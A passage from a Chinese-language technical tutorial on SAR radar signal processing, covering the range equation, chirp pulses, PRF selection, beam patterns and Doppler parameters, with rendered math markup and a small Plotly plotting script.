R</span><span><span><span></span><span>Δ</span><span>R</span></span></span></span>是不变的，而地距采样间隔</p><span><span><span>ΔG=ΔRsinθi\Delta G=\frac{\Delta R}{sin{\theta_i}}</span><span><span><span></span><span>Δ</span><span>G</span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>s</span><span>in</span><span><span><span>θ</span><span><span><span><span><span><span></span><span><span>i</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>Δ</span><span>R</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></span><p>随本地入射角而变化。</p></section><section><h4>4.2.3 卫星轨道几何<a href="#423-卫星轨道几何"><span>#</span></a></h4><p><img alt="" loading="lazy" width="821" height="1111" src="/_astro/image-11-16eccc5bb37f.ZBEtUMWA_Zp8UAm.webp" /></p></section></section><section><h3>4.3 距离方程<a href="#43-距离方程"><span>#</span></a></h3><p>传感器至目标的斜距是SAR处理中最重要的参数，这个距离随方位向时间而变化，并用所谓的 <strong><em>距离方程</em></strong> 来定义。</p><blockquote><p>注意，不要混淆距离方程和雷达方程式，后者体现的是发射功率和接受SNR的关系。</p></blockquote><section><h4>4.3.1 距离方程的双曲线模型<a href="#431-距离方程的双曲线模型"><span>#</span></a></h4><p>假设这种简单模型下的速度为<span><span>VrV_r</span><span><span><span></span><span><span>V</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>，图4.1中的距离X等于<span><span>VrηV_r \eta</span><span><span><span></span><span><span>V</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>η</span></span></span></span>，其中<span><span>η\eta</span><span><span><span></span><span>η</span></span></span></span>为相对于最近点位置的方位向时间。那么，根据毕达哥拉斯定律，传感器到目标点的距离<span><span>R(η)R(\eta)</span><span><span><span></span><span>R</span><span>(</span><span>η</span><span>)</span></span></span></span>由如下双曲模型方程给出：</p><span><span><span>R2(η)=R02+Vr2η2R^2(\eta)=R_0^2+V_r^2\eta^2</span><span><span><span></span><span><span>R</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span>(</span><span>η</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span>R</span><span><span><span><span><span><span></span><span><span>0</span></span></span><span><span></span><span><span>2</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>+</span><span></span></span><span><span></span><span><span>V</span><span><span><span><span><span><span></span><span><span>r</span></span></span><span><span></span><span><span>2</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span>η</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span></span></span></span></span><p>其中<span><span>R0R_0</span><span><span><span></span><span><span>R</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>为雷达离目标最近时的斜距，即最短距离。</p></section><section><h4>4.3.2 速度与角度的关系<a href="#432-速度与角度的关系"><span>#</span></a></h4><p>对于典型星载情况，<span><span>θr\theta_r</span><span><span><span></span><span><span>θ</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>约比<span><span>θsq\theta_{sq}</span><span><span><span></span><span><span>θ</span><span><span><span><span><span><span></span><span><span><span>s</span><span>q</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>大6%，即使在斜视角为6度时两者的余弦值之差也不会超过0.08%。</p></section></section><section><h3>4.4 SAR距离向信号<a href="#44-sar距离向信号"><span>#</span></a></h3><section><h4>4.4.1 发射脉冲<a href="#441-发射脉冲"><span>#</span></a></h4><p>在距离向，雷达发射的调制脉冲为</p><span><span><span>spul(τ)=ωr(τ)cos⁡(2π∑n=0NPnτn)s_{pul}(\tau)=\omega_r(\tau)\cos(2\pi\sum_{n=0}^NP_n\tau^n)</span><span><span><span></span><span><span>s</span><span><span><span><span><span><span></span><span><span><span>p</span><span>u</span><span>l</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>τ</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span>ω</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>τ</span><span>)</span><span></span><span>cos</span><span>(</span><span>2</span><span>π</span><span></span><span><span><span><span><span><span></span><span><span><span>n</span><span>=</span><span>0</span></span></span></span><span><span></span><span><span>∑</span></span></span><span><span></span><span><span>N</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span><span><span>P</span><span><span><span><span><span><span></span><span><span>n</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span>τ</span><span><span><span><span><span><span></span><span><span>n</span></span></span></span></span></span></span></span><span>)</span></span></span></span></span><p>其中<span><span>τ\tau</span><span><span><span></span><span>τ</span></span></span></span>为距离向时间，<span><span>PnP_n</span><span><span><span></span><span><span>P</span><span><span><span><span><span><span></span><span><span>n</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>是当信号相位以幂级数表示时的相位系数。</p></section><section><h4>4.4.2 数据获取<a href="#442-数据获取"><span>#</span></a></h4><p>考察距雷达<span><span>RaR_a</span><span><span><span></span><span><span>R</span><span><span><span><span><span><span></span><span><span>a</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>处的一个点目标，其后向散射系数<span><span>σ0\sigma_0</span><span><span><span></span><span><span>σ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>的幅度为<span><span>A0′A_0'</span><span><span><span></span><span><span>A</span><span><span><span><span><span><span></span><span><span>0</span></span></span><span><span></span><span><span><span>′</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>，则式（4.25）中的<span><span>gr(τ)=A0′δ(τ−2Ra/c)g_r(\tau)=A_0'\delta(\tau-2R_a/c)</span><span><span><span></span><span><span>g</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>τ</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span>A</span><span><span><span><span><span><span></span><span><span>0</span></span></span><span><span></span><span><span><span>′</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>δ</span><span>(</span><span>τ</span><span></span><span>−</span><span></span></span><span><span></span><span>2</span><span><span>R</span><span><span><span><span><span><span></span><span><span>a</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>/</span><span>c</span><span>)</span></span></span></span>，其中<span><span>2Ra/c2R_a/c</span><span><span><span></span><span>2</span><span><span>R</span><span><span><span><span><span><span></span><span><span>a</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>/</span><span>c</span></span></span></span> 为该点的信号延时。由式（4.21）和式（4.25）可知，该目标点的接收信号为</p><span><span><span>sr(τ)=A0′spul(τ−2Ra/c)=A0′ωr(τ−2Ra/c)×cos⁡{2πf0(τ−2Ra/c)+πKr(τ−2Ra/c)2+ψ}s_r(\tau)=A_0's_{pul}(\tau-2R_a/c) =A_0'\omega_r(\tau-2R_a/c) \times\cos{\{2\pi f_0(\tau-2R_a/c)+\pi K_r(\tau-2R_a/c)^2+\psi\}}</span><span><span><span></span><span><span>s</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>τ</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span>A</span><span><span><span><span><span><span></span><span><span>0</span></span></span><span><span></span><span><span><span>′</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span>s</span><span><span><span><span><span><span></span><span><span><span>p</span><span>u</span><span>l</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>τ</span><span></span><span>−</span><span></span></span><span><span></span><span>2</span><span><span>R</span><span><span><span><span><span><span></span><span><span>a</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>/</span><span>c</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span>A</span><span><span><span><span><span><span></span><span><span>0</span></span></span><span><span></span><span><span><span>′</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span>ω</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>τ</span><span></span><span>−</span><span></span></span><span><span></span><span>2</span><span><span>R</span><span><span><span><span><span><span></span><span><span>a</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>/</span><span>c</span><span>)</span><span></span><span>×</span><span></span></span><span><span></span><span>cos</span><span></span><span><span>{</span><span>2</span><span>π</span><span><span>f</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>τ</span><span></span><span>−</span><span></span><span>2</span><span><span>R</span><span><span><span><span><span><span></span><span><span>a</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>/</span><span>c</span><span>)</span><span></span><span>+</span><span></span><span>π</span><span><span>K</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>τ</span><span></span><span>−</span><span></span><span>2</span><span><span>R</span><span><span><span><span><span><span></span><span><span>a</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>/</span><span>c</span><span><span>)</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span></span><span>+</span><span></span><span>ψ</span><span>}</span></span></span></span></span></span><p>上式中，<span><span>ψ\psi</span><span><span><span></span><span>ψ</span></span></span></span>表示地表散射过程可能引起的雷达信号相位改变。对于特定的反射体，只要在雷达照射时间内其相位变化为常数，前述分析就仍然适用。</p></section></section><section><h3>4.5 SAR方位向信号<a href="#45-sar方位向信号"><span>#</span></a></h3><section><h4>4.5.1 什么是SAR中的多普勒频率<a href="#451-什么是sar中的多普勒频率"><span>#</span></a></h4><p>在上面的讨论中忽略了以下几点：</p><ol>
<li>
<p>雷达产生和发射的是一个有限时宽的脉冲，而不是一个单频波。</p>
</li>
<li>
<p>雷达电子设备将脉冲上变频到非常高的频率（雷达载频），然后将接收信号下变频到初始频率（或更低的基带）。</p>
</li>
<li>
<p>脉冲具有线性调频波形而不是单频的，并且经过接收和下变频后，信号被转换（压缩）为一个近似sinc函数的尖脉冲。</p>
</li>
</ol></section><section><h4>4.5.2 相干脉冲<a href="#452-相干脉冲"><span>#</span></a></h4><p>相干脉冲具有均匀的间隔，如图4.8所示，每个脉冲用式（4.19）或式（4.21）表示。“相干”意味着每个脉冲的起始时间和相位都受到精确的控制。接收机和解调器同样要具有很高的时间精度。</p><p><img alt="" loading="lazy" width="2369" height="867" src="/_astro/image-12-da627a8742a6.mW-YdW59_13aWnA.webp" /></p><p>当雷达不处于发射状态时，它接收地物反射回波。发射脉冲和接收回波的时间序列如图4.9所示。在机载情况下，每个回波可以在脉冲发射间隔内直接接收到。但是在星载情况下，由于距离过大，某个脉冲的回波要经过6～10个脉冲间隔才能接收到。</p></section><section><h4>4.5.3 PRF的选择<a href="#453-prf的选择"><span>#</span></a></h4><p>选择方位向采样率（或PRF）需要考虑下列参数和准则。</p><p><strong>奈奎斯特采样率</strong> 由于是复采样，PRF应大于方位信号带宽的主要部分。</p><p><strong>距离测绘带宽度</strong> 采样窗时间上限为<span><span>1/PRF−Tr1/PRF-T_r</span><span><span><span></span><span>1/</span><span>P</span><span>R</span><span>F</span><span></span><span>−</span><span></span></span><span><span></span><span><span>T</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>秒，相应的斜距间隔为<span><span>(1/PRF−Tr)c/2m(1/PRF-T_r)c/2m</span><span><span><span></span><span>(</span><span>1/</span><span>P</span><span>R</span><span>F</span><span></span><span>−</span><span></span></span><span><span></span><span><span>T</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>)</span><span>c</span><span>/2</span><span>m</span></span></span></span>。</p><p><strong>接收窗时序</strong> 在某发射脉冲的回波需要经过几个脉冲间隔才能被接收到的星载情况下，这一起始时间尤其受到PRF的影响。</p><p><strong>星下点回波</strong> 因为星下点回波也是距离模糊，因而这一能量是星载SAR应尽量避免的，通常会选择合适的PRF，使星下点回波不落在接收窗之内（或者至少不落在主要成像带之内）。</p></section><section><h4>4.5.4 方位向信号强度和多普勒历程<a href="#454-方位向信号强度和多普勒历程"><span>#</span></a></h4><p><img alt="" loading="lazy" width="2543" height="1650" src="/_astro/image-13-b71bb883f41e.CzB1FqNR_Z1sqNfr.webp" /></p><p><img alt="" loading="lazy" width="2571" height="1650" src="/_astro/image-14-077219d9baf1.0d1xCkkz_jSBKI.webp" /></p><p>多普勒频率正比于目标相对于传感器的径向速度。当目标接近雷达时多普勒频率为正，当目标远离雷达时多普勒频率为负，因此频率随时间变化曲线的斜率为负。</p><p>由于雷达能量的双程传播过程，接收信号的强度由<span><span>pa(θ)p_a(\theta)</span><span><span><span></span><span><span>p</span><span><span><span><span><span><span></span><span><span>a</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>θ</span><span>)</span></span></span></span>的平方给出，并且通常可以表示成方位向时间<span><span>η\eta</span><span><span><span></span><span>η</span></span></span></span>的函数</p><span><span><span>ωa(η)=pa2{θ(η)}\omega_a(\eta)=p_a^2\{\theta(\eta)\}</span><span><span><span></span><span><span>ω</span><span><span><span><span><span><span></span><span><span>a</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>η</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span>p</span><span><span><span><span><span><span></span><span><span>a</span></span></span><span><span></span><span><span>2</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>{</span><span>θ</span><span>(</span><span>η</span><span>)}</span></span></span></span></span><p>式（4.11）表明了<span><span>θsq\theta_{sq}</span><span><span><span></span><span><span>θ</span><span><span><span><span><span><span></span><span><span><span>s</span><span>q</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>与方位向时间<span><span>η\eta</span><span><span><span></span><span>η</span></span></span></span>的关系。</p><p>在一般的非零斜视角情况下，波束中心在被称为“波束中心穿越时刻”的时间点经过目标，以零多普勒时间作为参考，该时刻记为<span><span>ηc\eta_c</span><span><span><span></span><span><span>η</span><span><span><span><span><span><span></span><span><span>c</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>。按照前文习惯，当波束前视时，<span><span>ηc\eta_c</span><span><span><span></span><span><span>η</span><span><span><span><span><span><span></span><span><span>c</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>为负，当波束后视时，<span><span>ηc\eta_c</span><span><span><span></span><span><span>η</span><span><span><span><span><span><span></span><span><span>c</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>为正。<span><span>ηc\eta_c</span><span><span><span></span><span><span>η</span><span><span><span><span><span><span></span><span><span>c</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>可表示为</p><span><span><span>ηc=−R0tan⁡θsq,cVg=−R(ηc)tan⁡θsq,cVg\eta_c=-\frac{R_0\tan{\theta_{sq,c}}}{V_g}=-\frac{R(\eta_c)\tan{\theta_{sq,c}}}{V_g}</span><span><span><span></span><span><span>η</span><span><span><span><span><span><span></span><span><span>c</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>−</span><span><span></span><span><span><span><span><span><span></span><span><span><span>V</span><span><span><span><span><span><span></span><span><span>g</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>R</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>tan</span><span></span><span><span><span>θ</span><span><span><span><span><span><span></span><span><span><span>s</span><span>q</span><span>,</span><span>c</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>−</span><span><span></span><span><span><span><span><span><span></span><span><span><span>V</span><span><span><span><span><span><span></span><span><span>g</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>R</span><span>(</span><span><span>η</span><span><span><span><span><span><span></span><span><span>c</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>)</span><span></span><span>tan</span><span></span><span><span><span>θ</span><span><span><span><span><span><span></span><span><span><span>s</span><span>q</span><span>,</span><span>c</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></span><p>其中<span><span>R(ηc)R(\eta_c)</span><span><span><span></span><span>R</span><span>(</span><span><span>η</span><span><span><span><span><span><span></span><span><span>c</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>)</span></span></span></span>为目标被波束中心照射时的雷达距目标的斜距，<span><span>θsq,c\theta_{sq,c}</span><span><span><span></span><span><span>θ</span><span><span><span><span><span><span></span><span><span><span>s</span><span>q</span><span>,</span><span>c</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>为该时刻的<span><span>θsq\theta_{sq}</span><span><span><span></span><span><span>θ</span><span><span><span><span><span><span></span><span><span><span>s</span><span>q</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>值。</p><p>在这种斜视情况下，式（4.27）中的与视线的夹角<span><span>θ\theta</span><span><span><span></span><span>θ</span></span></span></span>等于<span><span>θsq−θsq,c\theta_{sq}-\theta_{sq,c}</span><span><span><span></span><span><span>θ</span><span><span><span><span><span><span></span><span><span><span>s</span><span>q</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>−</span><span></span></span><span><span></span><span><span>θ</span><span><span><span><span><span><span></span><span><span><span>s</span><span>q</span><span>,</span><span>c</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>。利用小角度近似，双程波束方向图为</p><span><span><span>sin⁡c2{0.886(θsq−θsq,c)βbw}≈pa2{arctan⁡(Vg(η−ηc)R0)}\sin c^2\{\frac{0.886(\theta_{sq}-\theta_{sq,c})}{\beta_{bw}}\}\approx p_a^2\{\arctan{(\frac{V_g(\eta-\eta_c)}{R_0})}\}</span><span><span><span></span><span>sin</span><span></span><span><span>c</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span>{</span><span><span></span><span><span><span><span><span><span></span><span><span><span>β</span><span><span><span><span><span><span></span><span><span><span>b</span><span>w</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>0.886</span><span>(</span><span><span>θ</span><span><span><span><span><span><span></span><span><span><span>s</span><span>q</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>−</span><span></span><span><span>θ</span><span><span><span><span><span><span></span><span><span><span>s</span><span>q</span><span>,</span><span>c</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>)</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span>}</span><span></span><span>≈</span><span></span></span><span><span></span><span><span>p</span><span><span><span><span><span><span></span><span><span>a</span></span></span><span><span></span><span><span>2</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>{</span><span>arctan</span><span></span><span><span>(</span><span><span></span><span><span><span><span><span><span></span><span><span><span>R</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>V</span><span><span><span><span><span><span></span><span><span>g</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>η</span><span></span><span>−</span><span></span><span><span>η</span><span><span><span><span><span><span></span><span><span>c</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>)</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span>)</span></span><span>}</span></span></span></span></span><p>即等于式（4.28）中的<span><span>ωa(η−ηc)\omega_a(\eta-\eta_c)</span><span><span><span></span><span><span>ω</span><span><span><span><span><span><span></span><span><span>a</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>η</span><span></span><span>−</span><span></span></span><span><span></span><span><span>η</span><span><span><span><span><span><span></span><span><span>c</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>)</span></span></span></span>。</p><p>#sar-squint-plot .hoverlayer .hovertext rect { rx: 6; ry: 6; } (function () { function initPlot() { if (typeof Plotly === “undefined”) { setTimeout(initPlot, 100); return; } var container = document.getElementById(“sar-squint-plot”); if (!container) return; // Parameters var R0 = 20000.0; // Slant range [m] var Vg = 150.0; // Ground speed [m/s] var beta_bw = 0.1; // Two-way 3 dB beamwidth [rad] var theta_sq_c = 0.0; // Squint angle at beam center [rad] var eta_c = 0.0; // Azimuth time at beam center [s] function sinc(x) { var ax = Math.abs(x); if (ax &lt; 1e-12) return 1.0; return Math.sin(x) / x; } var eta = []; var patternExact = []; var patternLinear = []; var n = 601; var etaMin = -60.0; var etaMax = 60.0; for (var i = 0; i &lt; n; i++) { var e = etaMin + (etaMax - etaMin) * i / (n - 1); // Exact squint geometry var theta_exact = Math.atan(Vg * (e - eta_c) / R0); // Small-angle linear approximation var theta_linear = Vg * (e - eta_c) / R0; var arg_exact = 0.886 * (theta_exact - theta_sq_c) / beta_bw; var arg_linear = 0.886 * (theta_linear - theta_sq_c) / beta_bw; eta.push(e); patternExact.push(Math.pow(sinc(arg_exact), 2)); patternLinear.push(Math.pow(sinc(arg_linear), 2)); } var traceExact = { x: eta, y: patternExact, mode: “lines”, name: “Exact squint geometry” }; var traceLinear = { x: eta, y: patternLinear, mode: “lines”, name: “Small-angle linear approximation”, line: { dash: “dash” } }; var layout = { title: “Squinted SAR two-way antenna pattern and its small-angle approximation”, xaxis: { title: “Azimuth time offset η - η_c (s)” }, yaxis: { title: “Normalized two-way beam pattern |p_a|^2”, range: [0, 1.05] }, // 全局背景透明 paper_bgcolor: “rgba(0,0,0,0)”, plot_bgcolor: “rgba(0,0,0,0)”, legend: { bgcolor: “rgba(0,0,0,0)” }, // 悬浮坐标窗口样式 hoverlabel: { bgcolor: “rgba(30, 30, 30, 0.9)”, // 深色背景 bordercolor: “#FFFFFF”, // 白色边框 font: { color: “#FAFAFA”, // 亮色字体 size: 13 } } }; var config = { displaylogo: false }; Plotly.newPlot(container, [traceExact, traceLinear], layout, config); } initPlot(); })();</p><p>基于以上讨论，式（4.26）中的<span><span>RaR_a</span><span><span><span></span><span><span>R</span><span><span><span><span><span><span></span><span><span>a</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>是随时间<span><span>η\eta</span><span><span><span></span><span>η</span></span></span></span>变化的，表示为<span><span>R(η)R(\eta)</span><span><span><span></span><span>R</span><span>(</span><span>η</span><span>)</span></span></span></span>。点目标接收信号可以写成</p><span><span><span>sr(τ,η)=A0ωr(τ−2R(η)/c)ωa(η−ηc)=cos⁡{2πf0(τ−2R(η)c)+πKr(τ−2R(η)/c)2+ψ}s_r(\tau,\eta)=A_0\omega_r(\tau-2R(\eta)/c)\omega_a(\eta-\eta_c) =\cos{\{2\pi f_0(\tau-2R(\eta)c)+\pi K_r(\tau-2R(\eta)/c)^2+\psi\}}</span><span><span><span></span><span><span>s</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>τ</span><span>,</span><span></span><span>η</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span>A</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span>ω</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>τ</span><span></span><span>−</span><span></span></span><span><span></span><span>2</span><span>R</span><span>(</span><span>η</span><span>)</span><span>/</span><span>c</span><span>)</span><span><span>ω</span><span><span><span><span><span><span></span><span><span>a</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>η</span><span></span><span>−</span><span></span></span><span><span></span><span><span>η</span><span><span><span><span><span><span></span><span><span>c</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span>cos</span><span></span><span><span>{</span><span>2</span><span>π</span><span><span>f</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>τ</span><span></span><span>−</span><span></span><span>2</span><span>R</span><span>(</span><span>η</span><span>)</span><span>c</span><span>)</span><span></span><span>+</span><span></span><span>π</span><span><span>K</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>τ</span><span></span><span>−</span><span></span><span>2</span><span>R</span><span>(</span><span>η</span><span>)</span><span>/</span><span>c</span><span><span>)</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span></span><span>+</span><span></span><span>ψ</span><span>}</span></span></span></span></span></span><p>这是点目标接收信号的实数表达式，<span><span>R0R_0</span><span><span><span></span><span><span>R</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>为最短距离，距离<span><span>R(η)R(\eta)</span><span><span><span></span><span>R</span><span>(</span><span>η</span><span>)</span></span></span></span>由式（4.9）给出。</p></section><section><h4>4.5.5 方位向参数<a href="#455-方位向参数"><span>#</span></a></h4><p><strong>多普勒中心频率</strong></p><p><span><span>η=ηc\eta=\eta_c</span><span><span><span></span><span>η</span><span></span><span>=</span><span></span></span><span><span></span><span><span>η</span><span><span><span><span><span><span></span><span><span>c</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>处的多普勒中心频率正比于式（4.9）中<span><span>R(η)R(\eta)</span><span><span><span></span><span>R</span><span>(</span><span>η</span><span>)</span></span></span></span>的变化率，</p><span><span><span>fηc=−2λdR(η)dη∣η=ηc=−2Vr2ηcλR(ηc)=+2Vrsin⁡θr,cλf_{\eta_c}=-\frac{2}{\lambda}\frac{d{R(\eta)}}{d{\eta}}|_{\eta=\eta_c}=-\frac{2V_r^2\eta_c}{\lambda R(\eta_c)}=+\frac{2V_r\sin{\theta_{r,c}}}{\lambda}</span><span><span><span></span><span><span>f</span><span><span><span><span><span><span></span><span><span><span><span>η</span><span><span><span><span><span><span></span><span><span>c</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>−</span><span><span></span><span><span><span><span><span><span></span><span><span>λ</span></span></span><span><span></span><span></span></span><span><span></span><span><span>2</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span><span></span><span><span><span><span><span><span></span><span><span>d</span><span><span>η</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>d</span><span><span>R</span><span>(</span><span>η</span><span>)</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span><span>∣</span><span><span><span><span><span><span></span><span><span><span>η</span><span>=</span><span><span>η</span><span><span><span><span><span><span></span><span><span>c</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>−</span><span><span></span><span><span><span><span><span><span></span><span><span>λ</span><span>R</span><span>(</span><span><span>η</span><span><span><span><span><span><span></span><span><span>c</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>)</span></span></span><span><span></span><span></span></span><span><span></span><span><span>2</span><span><span>V</span><span><span><span><span><span><span></span><span><span>r</span></span></span><span><span></span><span><span>2</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span>η</span><span><span><span><span><span><span></span><span><span>c</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>+</span><span><span></span><span><span><span><span><span><span></span><span><span>λ</span></span></span><span><span></span><span></span></span><span><span></span><span><span>2</span><span><span>V</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>sin</span><span></span><span><span><span>θ</span><span><span><span><span><span><span></span><span><span><span>r</span><span>,</span><span>c</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></span><p>单位为Hz。上式的推导用到了式（4.13）。</p><p><strong>多普勒带宽</strong></p><p>根据式（4.33），目标的方位向带宽为</p><span><span><span>Δfdop=∣2Vrcos⁡θr,cλVsVrθbw∣=2Vscos⁡θr,cλθbw\Delta f_{dop}=\left| 